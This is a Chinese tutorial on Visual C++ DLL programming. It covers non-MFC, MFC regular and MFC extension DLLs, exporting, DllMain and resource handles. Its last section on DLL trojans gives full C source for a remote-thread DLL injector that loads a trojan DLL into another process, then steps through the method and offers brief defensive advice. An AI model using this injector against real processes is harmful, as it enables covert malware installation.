Visual C++支持三种DLL,它们分别是Non-MFC DLL(非MFC动态库)、MFC Regular DLL(MFC规则DLL)、MFC Extension DLL(MFC扩展DLL)。
Non-mfc dll
//文件:lib.h #ifndef LIB_H#define LIB_Hextern "C" int add(int x,int y); //声明为C编译、连接方式的外部函数#endif//文件:lib.cpp#include "lib.h"int add(int x,int y){ return x + y;} |
静态调用:
#include <stdio.h> #include "../lib.h"#pragma comment( lib, "..//debug//libTest.lib" ) //指定与静态库一起连接int main(int argc, char* argv[]){ printf( "2 + 3 = %d", add( 2, 3 ) );} |
代码中#pragma comment( lib , "..//debug//libTest.lib" )的意思是指本文件生成的.obj文件应与libTest.lib一起连接。
或在Project 菜单里选择Settings 然后再Link 选项卡上的 Object/Library Modules 输入lib 路径。
动态调用:
#include <stdio.h> #include <windows.h>typedef int(*lpAddFun)(int, int); //宏定义函数指针类型int main(int argc, char *argv[]){ HINSTANCE hDll; //DLL句柄 lpAddFun addFun; //函数指针 hDll = LoadLibrary("..//Debug//dllTest.dll"); if (hDll != NULL) { addFun = (lpAddFun)GetProcAddress(hDll, "add"); if (addFun != NULL) { int result = addFun(2, 3); printf("%d", result); } FreeLibrary(hDll); } return 0;} |
声明导出函数:
DLL中导出函数的声明有两种方式:
一种为在函数声明中加上__declspec(dllexport);
另外一种方式是采用模块定义(.def) 文件声明,.def文件为链接器提供了有关被链接程序的导出、属性及其他方面的信息。
下面的代码演示了怎样同.def文件将函数add声明为DLL导出函数(需在工程中添加lib.def文件): ; lib.def : 导出DLL函数 LIBRARY dllTestEXPORTSadd @ 1 |
DllMain函数:
Windows在加载DLL的时候,需要一个入口函数,就如同控制台或DOS程序需要main函数、WIN32程序需要WinMain函数一样。在前面的例子中,DLL并没有提供DllMain函数,应用工程也能成功引用DLL,这是因为Windows在找不到DllMain的时候,系统会从其它运行库中引入一个不做任何操作的缺省DllMain函数版本,并不意味着DLL可以放弃DllMain函数。
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: printf("/nprocess attach of dll"); break; case DLL_THREAD_ATTACH: printf("/nthread attach of dll"); break; case DLL_THREAD_DETACH: printf("/nthread detach of dll"); break; case DLL_PROCESS_DETACH: printf("/nprocess detach of dll"); break; } return TRUE;} |
APIENTRY被定义为__stdcall,它意味着这个函数以标准Pascal的方式进行调用,也就是WINAPI方式;
进程中的每个DLL模块被全局唯一的32字节的HINSTANCE句柄标识,只有在特定的进程内部有效,句柄代表了DLL模块在进程虚拟空间中的起始地址。在Win32中,HINSTANCE和HMODULE的值是相同的,这两种类型可以替换使用,这就是函数参数hModule的来历。
执行下列代码:
hDll = LoadLibrary("..//Debug//dllTest.dll"); if (hDll != NULL){ addFun = (lpAddFun)GetProcAddress(hDll, MAKEINTRESOURCE(1)); //MAKEINTRESOURCE直接使用导出文件中的序号 if (addFun != NULL) { int result = addFun(2, 3); printf("/ncall add in dll:%d", result); } FreeLibrary(hDll);} |
扩展DLL 和正规DLL
扩展DLL 支持C++接口,可以导出整个C++类,客户可以构造这些类的对象或从这些类进行派生。扩展DLL动态链接到MFC库。
正规DLL 支持WIN32编程环境,但不能导出c++类,但可以在DLL内部使用C++类。正规DLL可以分动态,静态两种连接到MFC库。
一个简单的MFC规则DLL
HELLO CANCEL OK |
第一组文件:CWinApp继承类的声明与实现:
// RegularDll.h : main header file for the REGULARDLL DLL #if !defined(AFX_REGULARDLL_H__3E9CB22B_588B_4388_B778_B3416ADB79B3__INCLUDED_)#define AFX_REGULARDLL_H__3E9CB22B_588B_4388_B778_B3416ADB79B3__INCLUDED_#if _MSC_VER > 1000#pragma once#endif // _MSC_VER > 1000#ifndef __AFXWIN_H__#error include ’stdafx.h’ before including this file for PCH#endif#include "resource.h" // main symbolsclass CRegularDllApp : public CWinApp{ public: CRegularDllApp(); DECLARE_MESSAGE_MAP()};#endif // RegularDll.cpp : Defines the initialization routines for the DLL.#include "stdafx.h"#include "RegularDll.h"#ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] = __FILE__;#endifBEGIN_MESSAGE_MAP(CRegularDllApp, CWinApp)END_MESSAGE_MAP()/// CRegularDllApp constructionCRegularDllApp::CRegularDllApp(){ }/// The one and only CRegularDllApp objectCRegularDllApp theApp; |
第二组文件 自定义对话框类声明及实现:
#if !defined(AFX_DLLDIALOG_H__CEA4C6AF_245D_48A6_B11A_A5521EAD7C4E__INCLUDED_) #define AFX_DLLDIALOG_H__CEA4C6AF_245D_48A6_B11A_A5521EAD7C4E__INCLUDED_#if _MSC_VER > 1000#pragma once#endif // _MSC_VER > 1000// DllDialog.h : header file/// CDllDialog dialogclass CDllDialog : public CDialog{ // Construction public: CDllDialog(CWnd* pParent = NULL); // standard constructor enum { IDD = IDD_DLL_DIALOG }; protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support // Implementation protected: afx_msg void OnHelloButton(); DECLARE_MESSAGE_MAP()};#endif // DllDialog.cpp : implementation file#include "stdafx.h"#include "RegularDll.h"#include "DllDialog.h"#ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] = __FILE__;#endif/// CDllDialog dialogCDllDialog::CDllDialog(CWnd* pParent /*=NULL*/): CDialog(CDllDialog::IDD, pParent){}void CDllDialog::DoDataExchange(CDataExchange* pDX){ CDialog::DoDataExchange(pDX);}BEGIN_MESSAGE_MAP(CDllDialog, CDialog) ON_BN_CLICKED(IDC_HELLO_BUTTON, OnHelloButton)END_MESSAGE_MAP()/// CDllDialog message handlersvoid CDllDialog::OnHelloButton() { MessageBox("Hello,pconline的网友","pconline");} |
第三组文件 DLL中的资源文件:
//{ {NO_DEPENDENCIES}}// Microsoft Developer Studio generated include file.// Used by RegularDll.rc//#define IDD_DLL_DIALOG 1000#define IDC_HELLO_BUTTON 1000 |
第四组文件 MFC规则DLL接口函数
#include "StdAfx.h" #include "DllDialog.h"extern "C" __declspec(dllexport) void ShowDlg(void) { CDllDialog dllDialog; dllDialog.DoModal();} |
MFC规则DLL的调用:
void CRegularDllCallDlg::OnCalldllButton() { typedef void (*lpFun)(void); HINSTANCE hDll; //DLL句柄 hDll = LoadLibrary("RegularDll.dll"); if (NULL==hDll) { MessageBox("DLL加载失败"); } lpFun addFun; //函数指针 lpFun pShowDlg = (lpFun)GetProcAddress(hDll,"ShowDlg"); if (NULL==pShowDlg) { MessageBox("DLL中函数寻找失败"); } pShowDlg();} |
我们照样可以在EXE程序中隐式调用MFC规则DLL,只需要将DLL工程生成的.lib文件和.dll文件拷入当前工程所在的目录,并在RegularDllCallDlg.cpp文件的顶部添加:
#pragma comment(lib,"RegularDll.lib") void ShowDlg(void); |
void CRegularDllCallDlg::OnCalldllButton() { ShowDlg();} |
共享MFC DLL(或MFC扩展DLL)的规则DLL涉及到HINSTANCE句柄问题,HINSTANCE句柄对于加载资源特别重要。EXE和DLL都有其自己的资源,而且这些资源的ID可能重复,应用程序需要通过资源模块的切换来找到正确的资源。如果应用程序需要来自于DLL的资源,就应将资源模块句柄指定为DLL的模块句柄;如果需要EXE文件中包含的资源,就应将资源模块句柄指定为EXE的模块句柄。
解决方法
方法一 在DLL接口函数中使用:
AFX_MANAGE_STATE(AfxGetStaticModuleState());
方法二 在DLL接口函数中使用:
AfxGetResourceHandle(); AfxSetResourceHandle(HINSTANCE xxx); |
void ShowDlg(void) { //方法2的状态变更 HINSTANCE save_hInstance = AfxGetResourceHandle(); AfxSetResourceHandle(theApp.m_hInstance); CDialog dlg(IDD_DLL_DIALOG);//打开ID为2000的对话框 dlg.DoModal(); //方法2的状态还原 AfxSetResourceHandle(save_hInstance);} |
方法三 由应用程序自身切换:
现在我们把DLL中的接口函数改为最简单的: void ShowDlg(void) { CDialog dlg(IDD_DLL_DIALOG); //打开ID为2000的对话框 dlg.DoModal();} |
void CSharedDllCallDlg::OnCalldllButton() { //方法3:由应用程序本身进行状态切换 //获取EXE模块句柄 HINSTANCE exe_hInstance = GetModuleHandle(NULL); //或者HINSTANCE exe_hInstance = AfxGetResourceHandle(); //获取DLL模块句柄 HINSTANCE dll_hInstance = GetModuleHandle("SharedDll.dll"); AfxSetResourceHandle(dll_hInstance); //切换状态 ShowDlg(); //此时显示的是DLL的对话框 AfxSetResourceHandle(exe_hInstance); //恢复状态 //资源模块恢复后再调用ShowDlg ShowDlg(); //此时显示的是EXE的对话框} |
扩展DLL
MFC扩展DLL与MFC规则DLL的相同点在于在两种DLL的内部都可以使用MFC类库,其不同点在于MFC扩展DLL与应用程序的接口可以是MFC的。MFC扩展DLL的含义在于它是MFC的扩展,其主要功能是实现从现有MFC库类中派生出可重用的类。MFC扩展DLL使用MFC 动态链接库版本,因此只有用共享MFC 版本生成的MFC 可执行文件(应用程序或规则DLL)才能使用MFC扩展DLL。
从下表我们可以看出三种DLL对DllMain入口函数的不同处理方式:
DLL类型 | 入口函数 |
非 MFC DLL | 编程者提供DllMain函数 |
MFC规则 DLL | CWinApp对象的InitInstance 和 ExitInstance |
MFC扩展 DLL | MFC DLL向导生成DllMain 函数 |
于MFC扩展DLL,系统会自动在工程中添加如下表所示的宏,这些宏为DLL和应用程序的编写提供了方便
宏 | 定义 |
AFX_CLASS_IMPORT | __declspec(dllexport) |
AFX_API_IMPORT | __declspec(dllexport) |
AFX_DATA_IMPORT | __declspec(dllexport) |
AFX_CLASS_EXPORT | __declspec(dllexport) |
AFX_API_EXPORT | __declspec(dllexport) |
AFX_DATA_EXPORT | __declspec(dllexport) |
AFX_EXT_CLASS | #ifdef _AFXEXT AFX_CLASS_EXPORT#else AFX_CLASS_IMPORT |
AFX_EXT_API | #ifdef _AFXEXT AFX_API_EXPORT#else AFX_API_IMPORT |
AFX_EXT_DATA | #ifdef _AFXEXT AFX_DATA_EXPORT#else AFX_DATA_IMPORT |
MFC扩展DLL导出MFC派生类;
static AFX_EXTENSION_MODULE ExtDllDLL = { NULL, NULL }; extern "C" int APIENTRYDllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved ){ // Remove this if you use lpReserved UNREFERENCED_PARAMETER( lpReserved ); //说明:lpReserved是一个被系统所保留的参数,对于隐式链接是一个非零值,对于显式链接值是零 if (dwReason == DLL_PROCESS_ATTACH) { TRACE0( "EXTDLL.DLL Initializing!/n" ); // Extension DLL one-time initialization if ( !AfxInitExtensionModule( ExtDllDLL, hInstance )) return 0; // Insert this DLL into the resource chain new CDynLinkLibrary( ExtDllDLL ); } else if (dwReason == DLL_PROCESS_DETACH) { TRACE0( "EXTDLL.DLL Terminating!/n" ); // Terminate the library before destructors are called AfxTermExtensionModule( ExtDllDLL ); } return 1; // ok} |
(1)上述代码完成MFC扩展DLL的初始化和终止处理; (2)初始化期间所创建的 CDynLinkLibrary 对象使MFC扩展 DLL 可以将 DLL中的CRuntimeClass 对象或资源导出到应用程序; (3)AfxInitExtensionModule函数捕获模块的CRuntimeClass 结构和在创建 CDynLinkLibrary 对象时使用的对象工厂(COleObjectFactory 对象); (4)AfxTermExtensionModule函数使 MFC 得以在每个进程与扩展 DLL 分离时(进程退出或使用AfxFreeLibrary卸载DLL时)清除扩展 DLL; (5)第一条语句static AFX_EXTENSION_MODULE ExtDllDLL = { NULL, NULL };定义了一个AFX_EXTENSION_MODULE类的静态全局对象,AFX_EXTENSION_MODULE的定义如下:
struct AFX_EXTENSION_MODULE { BOOL bInitialized; HMODULE hModule; HMODULE hResource; CRuntimeClass* pFirstSharedClass; COleObjectFactory* pFirstSharedFactory;}; |
在资源编辑器中添加一个如图15所示的对话框,并使用MFC类向导为其添加一个对应的类CExtDialog,系统自动添加了ExtDialog.h和ExtDialog.cpp两个头文件。
修改ExtDialog.h中CExtDialog类的声明为:
class AFX_EXT_CLASS CExtDialog : public CDialog { public: CExtDialog( CWnd* pParent = NULL ); enum { IDD = IDD_DLL_DIALOG }; protected: virtual void DoDataExchange( CDataExchange* pDX ); DECLARE_MESSAGE_MAP()}; |
隐式加载
我们在6.2工程所在的工作区中添加一个LoadExtDllDlg工程,用于演示MFC扩展DLL的加载。在LoadExtDllDlg工程中添加一个如图16所示的对话框,这个对话框上包括一个“调用DLL”按钮。
// LoadExtDllDlg.cpp : implementation file //#include "../ExtDialog.h"#pragma comment( lib, "ExtDll.lib" )而“调用DLL”按钮的单击事件的消息处理函数为:void CLoadExtDllDlg::OnDllcallButton() { CExtDialog extDialog; extDialog.DoModal();} |
显示加载
显示加载MFC扩展DLL应使用MFC全局函数AfxLoadLibrary而不是WIN32 API中的LoadLibrary。AfxLoadLibrary 最终也调用了 LoadLibrary这个API,但是在调用之前进行了线程同步的处理。
AfxLoadLibrary 的函数原型与 LoadLibrary完全相同,为: HINSTANCE AFXAPI AfxLoadLibrary( LPCTSTR lpszModuleName ); |
BOOL AFXAPI AfxFreeLibrary( HINSTANCE hInstLib ); |
void CLoadExtDllDlg::OnDllcallButton() { HINSTANCE hDll = AfxLoadLibrary( "ExtDll.dll" ); if(NULL == hDll) { AfxMessageBox( "MFC扩展DLL动态加载失败" ); return; } CExtDialog extDialog; extDialog.DoModal(); AfxFreeLibrary(hDll);} |
LoadExtDllDlg.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) public: virtual __thiscall CExtDialog::~CExtDialog(void)" (__imp_??1CExtDialog@@UAE@XZ) LoadExtDllDlg.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) public: __thiscall CExtDialog::CExtDialog(class CWnd *)" (__imp_??0CExtDialog@@QAE@PAVCWnd@@@Z) |
6.4 MFC扩展DLL加载MFC扩展DLL
我们可以在MFC扩展DLL中再次使用MFC扩展DLL,但是,由于在两个DLL中对于AFX_EXT_CLASS、AFX_EXT_API、AFX_EXT_DATA宏的定义都是输出,这会导致调用的时候出现问题。 我们将会在调用MFC扩展DLL的DLL中看到link错误: error LNK2001: unresolved external symbol …....... |
//临时改变宏的含义“输出”为“输入” #undef AFX_EXT_CLASS#undef AFX_EXT_API#undef AFX_EXT_DATA#define AFX_EXT_CLASS AFX_CLASS_IMPORT#define AFX_EXT_API AFX_API_IMPORT#define AFX_EXT_DATA AFX_DATA_IMPORT//包含被调用MFC扩展DLL的头文件#include "CalledDLL.h"//恢复宏的含义为输出#undef AFX_EXT_CLASS#undef AFX_EXT_API#undef AFX_EXT_DATA#define AFX_EXT_CLASS AFX_CLASS_EXPORT#define AFX_EXT_API AFX_API_EXPORT#define AFX_EXT_DATA AFX_DATA_EXPORT |
MFC扩展DLL导出函数和变量的方法也十分简单,下面我们给出一个简单的例子。
我们在MFC向导生成的MFC扩展DLL工程中添加gobal.h和global.cpp两个文件: //global.h:MFC扩展DLL导出变量和函数的声明 extern "C"{ int AFX_EXT_DATA total; //导出变量 int AFX_EXT_API add( int x, int y ); //导出函数}//global.cpp:MFC扩展DLL导出变量和函数定义#include "StdAfx.h"#include "global.h"extern "C" int total;int add(int x,int y){ total = x + y; return total;} |
#include <iostream.h> #include <afxver_.h> //AFX_EXT_DATA、AFX_EXT_API宏的定义在afxver_.h头文件中#pragma comment ( lib, "ExtDll.lib" )#include "../global.h"int main(int argc, char* argv[]){ cout << add(2,3) << endl; cout << total; return 0;} |
动态链接库编程之DLL木马
HANDLE CreateRemoteThread(
HANDLE hProcess, //远程进程句柄 LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
#include <windows.h> #include <stdlib.h>#include <stdio.h>void CheckError ( int, int, char *); //出错处理函数PDWORD pdwThreadId; HANDLE hRemoteThread, hRemoteProcess;DWORD fdwCreate, dwStackSize, dwRemoteProcessId;PWSTR pszLibFileRemote=NULL;void main(int argc,char **argv){ int iReturnCode; char lpDllFullPathName[MAX_PATH]; WCHAR pszLibFileName[MAX_PATH]={0}; dwRemoteProcessId = 4000; strcpy(lpDllFullPathName, "d://troydll.dll"); //将DLL文件全路径的ANSI码转换成UNICODE码 iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, lpDllFullPathName, strlen(lpDllFullPathName), pszLibFileName, MAX_PATH); CheckError(iReturnCode, 0, "MultByteToWideChar"); //打开远程进程 hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程 PROCESS_VM_OPERATION | //允许VM操作 PROCESS_VM_WRITE, //允许VM写 FALSE, dwRemoteProcessId ); CheckError( (int) hRemoteProcess, NULL, "Remote Process not Exist or Access Denied!"); //计算DLL路径名需要的内存空间 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR); pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE); CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx"); //将DLL的路径名复制到远程进程的内存空间 iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL); CheckError(iReturnCode, false, "WriteProcessMemory"); //计算LoadLibraryW的入口地址 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); CheckError((int)pfnStartAddr, NULL, "GetProcAddress"); //启动远程线程,通过远程线程调用用户的DLL文件 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL); CheckError((int)hRemoteThread, NULL, "Create Remote Thread"); //等待远程线程退出 WaitForSingleObject(hRemoteThread, INFINITE); //清场处理 if (pszLibFileRemote != NULL) { VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE); } if (hRemoteThread != NULL) { CloseHandle(hRemoteThread ); } if (hRemoteProcess!= NULL) { CloseHandle(hRemoteProcess); }}//错误处理函数CheckError()void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg){ if(iReturnCode==iErrorCode) { printf("%s Error:%d/n/n", pErrorMsg, GetLastError()); //清场处理 if (pszLibFileRemote != NULL) { VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE); } if (hRemoteThread != NULL) { CloseHandle(hRemoteThread ); } if (hRemoteProcess!= NULL) { CloseHandle(hRemoteProcess); } exit(0); }} |
从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为:
(1)取得宿主进程(即要注入木马的进程)的进程ID dwRemoteProcessId; (2)取得DLL的完全路径,并将其转换为宽字符模式pszLibFileName; (3)利用Windows API OpenProcess打开宿主进程,应该开启下列选项: a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程; b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作; c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。 (4)利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间,并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间; (5)利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址,这个函数将作为随后将启动的远程线程的入口函数; (6)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL; (7)清理现场。 DLL木马的防治 从DLL木马的原理和一个简单的DLL木马程序中我们学到了DLL木马的工作方式,这可以帮助我们更好地理解DLL木马病毒的防治手段。 一般的木马被植入后要打开一网络端口与攻击程序通信,所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查,我们可以让防火墙对通讯端口进行限制,只允许系统接受几个特定端口的数据请求。这样,即使木马植入成功,攻击者也无法进入到受侵系统,防火墙把攻击者和木马分隔开来了。 对于DLL木马,一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的DLL,如果其中有一些莫名其妙的DLL,则可以断言这个进程是宿主进程,系统被植入了DLL木马。"道高一尺,魔高一丈",现如今,DLL木马也发展到了更高的境界,它们看起来也不再"莫名其妙"。在最新的一些木马里面,开始采用了先进的DLL陷阱技术,编程者用特洛伊DLL替换已知的系统DLL。特洛伊DLL对所有的函数调用进行过滤,对于正常的调用,使用函数转发器直接转发给被替换的系统DLL;对于一些事先约定好的特殊情况,DLL会执行一些相应的操作。
Windows按下列顺序搜索DLL:
(1)当前进程的可执行模块所在的目录; (2)当前目录; (3)Windows 系统目录,通过GetSystemDirectory 函数可获得此目录的路径; (4)Windows 目录,通过GetWindowsDirectory 函数可获得此目录的路径; (5)PATH 环境变量中列出的目录。